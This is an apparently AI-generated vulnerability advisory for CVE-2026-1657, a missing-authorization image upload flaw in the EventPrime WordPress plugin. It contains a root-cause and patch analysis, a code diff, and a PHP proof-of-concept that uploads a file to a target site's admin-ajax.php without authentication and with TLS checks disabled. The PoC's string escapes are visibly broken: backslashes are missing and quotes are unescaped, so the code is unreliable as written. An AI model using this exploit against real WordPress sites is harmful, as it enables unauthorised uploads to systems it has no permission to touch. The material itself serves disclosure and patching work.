Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1657: EventPrime <= 4.2.8.4 – Missing Authorization to Unauthenticated Image Upload via 'ep_upload_file_media' AJAX Endpoint (eventprime-event-calendar-management)

CVE ID CVE-2026-1657
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.2.8.4
Patched Version 4.2.8.5
Disclosed February 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1657:
The EventPrime WordPress plugin version 4.2.8.4 and earlier contains an unauthenticated arbitrary image file upload vulnerability. The plugin’s ‘ep_upload_file_media’ AJAX endpoint lacks authentication, authorization, and nonce verification, allowing any remote attacker to upload image files to the WordPress uploads directory and create Media Library attachments.

Root Cause:
The vulnerability exists in the ‘upload_file_media’ method within the ‘class-ep-ajax.php’ file. The method was registered as a publicly accessible AJAX action via WordPress’s ‘wp_ajax_nopriv_’ hook. The function at lines 1759-1796 processes file uploads without checking user authentication, authorization, or verifying the nonce parameter. The function only performed basic file extension validation but did not use WordPress’s secure file upload functions or implement any access controls.

Exploitation:
Attackers can exploit this vulnerability by sending a multipart/form-data POST request to ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to ‘ep_upload_file_media’. The request must include a ‘file’ parameter containing an image file. The attacker does not need authentication credentials, session cookies, or a valid nonce. Successful exploitation results in the file being uploaded to the WordPress uploads directory and a Media Library attachment being created with the returned attachment ID.

Patch Analysis:
The patch in version 4.2.8.5 adds multiple security layers to the ‘upload_file_media’ method. First, it implements nonce verification using ‘wp_verify_nonce’ with the ‘ep-frontend-event-submission-nonce’ action. Second, it replaces the basic file extension check with WordPress’s ‘wp_check_filetype_and_ext’ function for proper MIME type validation. Third, it uses ‘wp_handle_upload’ for secure file processing. Fourth, it adds ‘sanitize_file_name’ for filename sanitization. The patch also includes proper error handling and requires WordPress file and image processing libraries.

Impact:
Successful exploitation allows unauthenticated attackers to upload arbitrary image files to the WordPress installation. While file types are restricted to images, attackers could upload malicious images containing embedded code, exfiltrate data through steganography, or consume server disk space. The created Media Library attachments could be used in phishing campaigns or to establish persistence. The vulnerability also bypasses WordPress’s built-in file upload security mechanisms.

Differential between vulnerable and patched code

Code Diff
--- a/eventprime-event-calendar-management/event-prime.php
+++ b/eventprime-event-calendar-management/event-prime.php
@@ -16,7 +16,7 @@
  * Plugin Name:       EventPrime – Modern Events Calendar, Bookings and Tickets
  * Plugin URI:        https://theeventprime.com
  * Description:       Beginner-friendly Events Calendar plugin to create free as well as paid Events. Includes Event Types, Event Sites & Performers too.
- * Version:           4.2.8.4
+ * Version:           4.2.8.5
  * Author:            EventPrime Event Calendar
  * Author URI:        https://theeventprime.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'EVENTPRIME_VERSION', '4.2.8.4' );
+define( 'EVENTPRIME_VERSION', '4.2.8.5' );
 define('EM_DB_VERSION',4.0);
 if( ! defined( 'EP_PLUGIN_FILE' ) ) {
     define( 'EP_PLUGIN_FILE', __FILE__ );
--- a/eventprime-event-calendar-management/includes/class-ep-ajax.php
+++ b/eventprime-event-calendar-management/includes/class-ep-ajax.php
@@ -891,18 +891,23 @@

             $event_description = wp_kses_post( stripslashes( $data['em_descriptions'] ) );

-            if( isset( $data['event_id'] ) && ! empty( $data['event_id'] ) ) {
-                $post_id = $data['event_id'];
-                if(empty(get_post($post_id)) || get_post_type($post_id) != 'em_event' ){
-                    wp_send_json_error( array( 'error' => esc_html__( 'There is some issue with event. Please try later.', 'eventprime-event-calendar-management' ) ) );
-                }
-                if(!empty($guest_submission) && get_post_meta($post_id, 'em_user_submitted', true) != get_current_user_id()){
-                       wp_send_json_error( array( 'error' => esc_html__( 'Event does not belong to you.', 'eventprime-event-calendar-management' ) ) );
-
-                }
-                $post_update = array(
-                    'ID'         => $post_id,
-                    'post_title' => $em_name,
+            if( isset( $data['event_id'] ) && ! empty( $data['event_id'] ) ) {
+                $post_id = absint( $data['event_id'] );
+                if(empty(get_post($post_id)) || get_post_type($post_id) != 'em_event' ){
+                    wp_send_json_error( array( 'error' => esc_html__( 'There is some issue with event. Please try later.', 'eventprime-event-calendar-management' ) ) );
+                }
+                $current_user_id = get_current_user_id();
+                $post_author_id = (int) get_post_field( 'post_author', $post_id );
+                $submitted_user_id = (int) get_post_meta( $post_id, 'em_user', true );
+                $can_edit = current_user_can( 'edit_post', $post_id )
+                    || ( $current_user_id > 0 && $post_author_id === $current_user_id )
+                    || ( $current_user_id > 0 && $submitted_user_id === $current_user_id );
+                if ( ! $can_edit ) {
+                    wp_send_json_error( array( 'error' => esc_html__( 'You are not allowed to edit this event.', 'eventprime-event-calendar-management' ) ) );
+                }
+                $post_update = array(
+                    'ID'         => $post_id,
+                    'post_title' => $em_name,
                     'post_content' => $event_description,
                 );
                 wp_update_post( $post_update );
@@ -1759,45 +1764,59 @@
     }


-    public function upload_file_media(){
-        if(isset($_FILES["file"]) && !empty($_FILES["file"])){
-            $extension = pathinfo( $_FILES["file"]["name"], PATHINFO_EXTENSION );
-            if( $extension != 'jpg' && $extension != 'jpeg' && $extension != 'png' && $extension != 'gif' ) {
-                wp_send_json_error( array( 'errors' => array( 'Only Image File Allowed.' ) ) );
-            }
-            $file = $_FILES['file'];
-            $filename = $file['name'];
-            $tmp_name = $file['tmp_name'];
-            $upload_dir = wp_upload_dir();
-            if (move_uploaded_file($file["tmp_name"], $upload_dir['path'] . "/" . $filename)) {
-                $uploaded_file['file_name'] = $filename;
-                $uploaded_file['upload_url'] = $upload_dir['url'] . "/" . $filename;
-                $wp_filetype = wp_check_filetype($filename, null );
-                $attachment = array(
-                    'guid'           => $uploaded_file['upload_url'],
-                    'post_mime_type' => $wp_filetype['type'],
-                    'post_title'     => preg_replace( '/.[^.]+$/', '', $filename ),
-                    'post_content'   => '',
-                    'post_status'    => 'inherit'
-                );
-                $attachment_id = wp_insert_attachment( $attachment, $upload_dir['path'] . "/" . $filename );
-                if ( ! is_wp_error( $attachment_id ) ) {
-                    require_once(ABSPATH . "wp-admin" . '/includes/file.php');
-                    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $upload_dir['path'] . "/" . $filename );
-                    wp_update_attachment_metadata( $attachment_id,  $attachment_data );
-                    $returnData['success'] = array( 'attachment_id' => $attachment_id );
-                }
-            }
-            else{
-                $returnData['errors'] = __($upload_file['error']);
-            }
-        }
-        if( isset( $returnData['success'] ) ) {
-            wp_send_json_success( $returnData['success'] );
-        }else{
-            wp_send_json_success( $returnData );
-        }
-    }
+    public function upload_file_media(){
+        if ( ! isset( $_POST['security'] ) || ! wp_verify_nonce( $_POST['security'], 'ep-frontend-event-submission-nonce' ) ) {
+            wp_send_json_error( array( 'errors' => array( esc_html__( 'Security check failed.', 'eventprime-event-calendar-management' ) ) ) );
+        }
+
+        if ( empty( $_FILES['file'] ) || empty( $_FILES['file']['name'] ) ) {
+            wp_send_json_error( array( 'errors' => array( esc_html__( 'No file provided.', 'eventprime-event-calendar-management' ) ) ) );
+        }
+
+        $file = $_FILES['file'];
+        $allowed_mimes = array(
+            'jpg|jpeg|jpe' => 'image/jpeg',
+            'png'          => 'image/png',
+            'gif'          => 'image/gif',
+        );
+        $filecheck = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $allowed_mimes );
+        if ( empty( $filecheck['ext'] ) || empty( $filecheck['type'] ) ) {
+            wp_send_json_error( array( 'errors' => array( esc_html__( 'Only image files are allowed.', 'eventprime-event-calendar-management' ) ) ) );
+        }
+
+        require_once( ABSPATH . 'wp-admin/includes/file.php' );
+        require_once( ABSPATH . 'wp-admin/includes/image.php' );
+
+        $upload_overrides = array(
+            'test_form' => false,
+            'mimes'     => $allowed_mimes,
+        );
+        $uploaded = wp_handle_upload( $file, $upload_overrides );
+        if ( isset( $uploaded['error'] ) ) {
+            wp_send_json_error( array( 'errors' => array( $uploaded['error'] ) ) );
+        }
+
+        $safe_name = sanitize_file_name( $file['name'] );
+        $attachment = array(
+            'guid'           => $uploaded['url'],
+            'post_mime_type' => $filecheck['type'],
+            'post_title'     => preg_replace( '/.[^.]+$/', '', $safe_name ),
+            'post_content'   => '',
+            'post_status'    => 'inherit'
+        );
+        $attachment_id = wp_insert_attachment( $attachment, $uploaded['file'] );
+        if ( ! is_wp_error( $attachment_id ) ) {
+            $attachment_data = wp_generate_attachment_metadata( $attachment_id, $uploaded['file'] );
+            wp_update_attachment_metadata( $attachment_id, $attachment_data );
+            $returnData['success'] = array( 'attachment_id' => $attachment_id );
+        }
+
+        if ( isset( $returnData['success'] ) ) {
+            wp_send_json_success( $returnData['success'] );
+        } else {
+            wp_send_json_success( $returnData );
+        }
+    }


     public function booking_update_status(){
--- a/eventprime-event-calendar-management/includes/class-eventprime-event-calendar-management.php
+++ b/eventprime-event-calendar-management/includes/class-eventprime-event-calendar-management.php
@@ -374,11 +374,11 @@
                 $this->loader->add_filter( 'handle_bulk_actions-edit-em_booking', $plugin_admin, 'ep_export_booking_bulk_action_handle', 10, 3 );

                 $this->loader->add_action( 'admin_head-edit.php',$plugin_admin, 'ep_add_booking_export_btn');
-                $this->loader->add_action( 'before_delete_post', $plugin_admin, 'ep_before_delete_event_bookings', 99, 2 );
-
-                $this->loader->add_action( 'save_post', $plugin_admin, 'ep_save_event_meta_boxes', 1, 2 );
-                $this->loader->add_filter( 'wp_insert_post_data', $plugin_admin, 'ep_respect_requested_post_status', 10, 2 );
-                $this->loader->add_filter( 'manage_em_event_posts_columns', $plugin_admin, 'ep_filter_event_columns'  );
+                $this->loader->add_action( 'before_delete_post', $plugin_admin, 'ep_before_delete_event_bookings', 99, 2 );
+
+                $this->loader->add_action( 'save_post', $plugin_admin, 'ep_save_event_meta_boxes', 1, 2 );
+                $this->loader->add_filter( 'wp_insert_post_data', $plugin_admin, 'ep_respect_requested_post_status', 10, 2 );
+                $this->loader->add_filter( 'manage_em_event_posts_columns', $plugin_admin, 'ep_filter_event_columns'  );
 		$this->loader->add_action( 'manage_em_event_posts_custom_column', $plugin_admin, 'ep_filter_event_columns_content', 10, 2 );
 		$this->loader->add_filter( 'manage_edit-em_event_sortable_columns',$plugin_admin, 'ep_sortable_event_columns', 10, 1 );
 		$this->loader->add_action( 'pre_get_posts',  $plugin_admin, 'ep_sort_events_date' , 10, 1 );
@@ -665,4 +665,4 @@
 		}
 	}

-}
+}
--- a/eventprime-event-calendar-management/includes/class-eventprime-functions.php
+++ b/eventprime-event-calendar-management/includes/class-eventprime-functions.php
@@ -141,15 +141,27 @@
                 $url = add_query_arg($slug, $id, $url);
             }
             $enable_seo_urls = $this->ep_get_global_settings('enable_seo_urls');
-            if (!empty($enable_seo_urls) && !empty($permalink)) {
-                $url = get_permalink($id);
-                if ($type == 'term') {
-                    if (empty($taxonomy)) {
-                        $taxonomy = get_term($id)->taxonomy;
-                    }
-                    $url = get_term_link($id, $taxonomy);
-                }
-            }
+            if (!empty($enable_seo_urls) && !empty($permalink)) {
+                $url = get_permalink($id);
+                if ($type == 'term') {
+                    $term = null;
+                    if (empty($taxonomy)) {
+                        $term = get_term($id);
+                        if (!is_wp_error($term) && $term && !empty($term->taxonomy)) {
+                            $taxonomy = $term->taxonomy;
+                        }
+                    }
+                    if (empty($term)) {
+                        $term = get_term($id, $taxonomy);
+                    }
+                    if (!is_wp_error($term) && $term && !empty($term->term_id)) {
+                        $term_link = get_term_link($term);
+                        if (!is_wp_error($term_link)) {
+                            $url = $term_link;
+                        }
+                    }
+                }
+            }
         }
         return $url;
     }
@@ -14018,6 +14030,13 @@
             'done'           => true,
         );
     }
+
+    public function get_event_id_from_ticket_id($ticket_id)
+    {
+        $DBhandler = new EP_DBhandler();
+        $event_id = $DBhandler->get_value('TICKET','event_id', $ticket_id);
+        return $event_id;
+    }


 }
--- a/eventprime-event-calendar-management/public/partials/eventprime-event-type.php
+++ b/eventprime-event-calendar-management/public/partials/eventprime-event-type.php
@@ -11,6 +11,7 @@
 }
         $event_type_id            = absint( $atts['id'] );
         $term                     = get_term( $event_type_id );
+        $event_types_data         = array();
         if( ! empty( $term ) ) {
             wp_enqueue_script(
                 'ep-eventtypes-details',
@@ -26,7 +27,7 @@
                 )
             );

-            $event_types_data         = array();
+
             $event_types_data['term'] = $term;
             $event_types_data['event_type'] = $ep_functions->get_single_event_type( $term->term_id );
             // upcoming events
@@ -86,6 +87,7 @@
             plugin_dir_url( EP_PLUGIN_FILE ) . 'public/css/ep-frontend-views.css',
             false, EVENTPRIME_VERSION
         );
+        //var_dump($event_type_data);die;
         $args = (object)$event_types_data;
 ?>
 <div class="emagic">
--- a/eventprime-event-calendar-management/public/partials/themes/default/events/views/calendar.php
+++ b/eventprime-event-calendar-management/public/partials/themes/default/events/views/calendar.php
@@ -28,12 +28,21 @@
             <div class="ep-event-type ep-event-type ep-mr-2 ep-border ep-p-2 ep-rounded-1 ep-lh-0 ep-di-flex ep-align-items-center ep-mb-2">
                 <?php
                 $type_id = (int)trim($type_id);
+                $type = get_term( $type_id );
+                if ( is_wp_error( $type ) || ! $type  || empty( $type->term_id ) ) {
+                    continue;
+                }
+
                 $type_url = $ep_functions->ep_get_custom_page_url( 'event_types', $type_id, 'event_type', 'term' );
                 $enable_seo_urls = $ep_functions->ep_get_global_settings( 'enable_seo_urls' );
-                if( isset( $enable_seo_urls ) && ! empty( $enable_seo_urls ) ){
-                    $type_url = get_term_link( $type_id );
+                $permalink_structure = get_option( 'permalink_structure' );
+                if( isset( $enable_seo_urls ) && ! empty( $enable_seo_urls ) && ! empty( $permalink_structure ) ){
+                    $term_link = get_term_link( $type ); // pass term object is safer
+                    if ( ! is_wp_error( $term_link ) ) {
+                        $type_url = $term_link;
+                    }
                 }
-                $type = get_term( $type_id );
+
                 $type_color = get_term_meta( $type->term_id, 'em_color', true );
                 ?>
                 <a class="ep-outline-width-0" href="<?php echo esc_url( $type_url ); ?>"><?php echo esc_html( $type->name ); ?></a><?php
@@ -49,9 +58,16 @@
                 <?php
                 $type_url = $ep_functions->ep_get_custom_page_url( 'event_types', $type['id'], 'event_type', 'term' );
                 $enable_seo_urls = $ep_functions->ep_get_global_settings( 'enable_seo_urls' );
-                if( isset( $enable_seo_urls ) && ! empty( $enable_seo_urls ) ){
-                    $type_url = get_term_link( $type['id'] );
-                }?>
+                $permalink_structure = get_option( 'permalink_structure' );
+                if( isset( $enable_seo_urls ) && ! empty( $enable_seo_urls ) && ! empty( $permalink_structure ) ){
+                    $term_link = get_term_link( $type['id'] ); // pass term object is safer
+                    if ( ! is_wp_error( $term_link ) ) {
+                        $type_url = $term_link;
+                    }
+                }
+
+
+                ?>
                 <a class="ep-outline-width-0" href="<?php echo esc_url( $type_url ); ?>"><?php echo esc_html( $type['name'] ); ?></a><?php
                 if( ! empty( $type['em_color'] ) && $type['em_color'] != '#' ) {?>
                     <span style="background-color:<?php echo esc_attr( $type['em_color'] ); ?>" class="ep-ml-1"></span><?php

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1657 - EventPrime <= 4.2.8.4 - Missing Authorization to Unauthenticated Image Upload via 'ep_upload_file_media' AJAX Endpoint

<?php

$target_url = "https://example.com/wp-admin/admin-ajax.php"; // Change this to target WordPress site
$image_path = "malicious.jpg"; // Path to image file to upload

// Create multipart form data
$boundary = '----WebKitFormBoundary' . md5(time());
$payload = "--{$boundary}rn";
$payload .= "Content-Disposition: form-data; name="action"rnrn";
$payload .= "ep_upload_file_mediarn";

// Add file data
$file_contents = file_get_contents($image_path);
$filename = basename($image_path);
$payload .= "--{$boundary}rn";
$payload .= "Content-Disposition: form-data; name="file"; filename="{$filename}"rn";
$payload .= "Content-Type: image/jpegrnrn";
$payload .= $file_contents . "rn";
$payload .= "--{$boundary}--rn";

// Send request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: multipart/form-data; boundary={$boundary}",
    "User-Agent: Atomic-Edge-PoC/1.0"
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    $json_response = json_decode($response, true);
    if (isset($json_response['success'])) {
        echo "[+] File uploaded successfully!n";
        echo "[+] Attachment ID: " . $json_response['success']['attachment_id'] . "n";
        echo "[+] Response: " . $response . "n";
    } else {
        echo "[-] Upload failed. Response: " . $response . "n";
    }
} else {
    echo "[-] HTTP Error: " . $http_code . "n";
    echo "[-] Response: " . $response . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School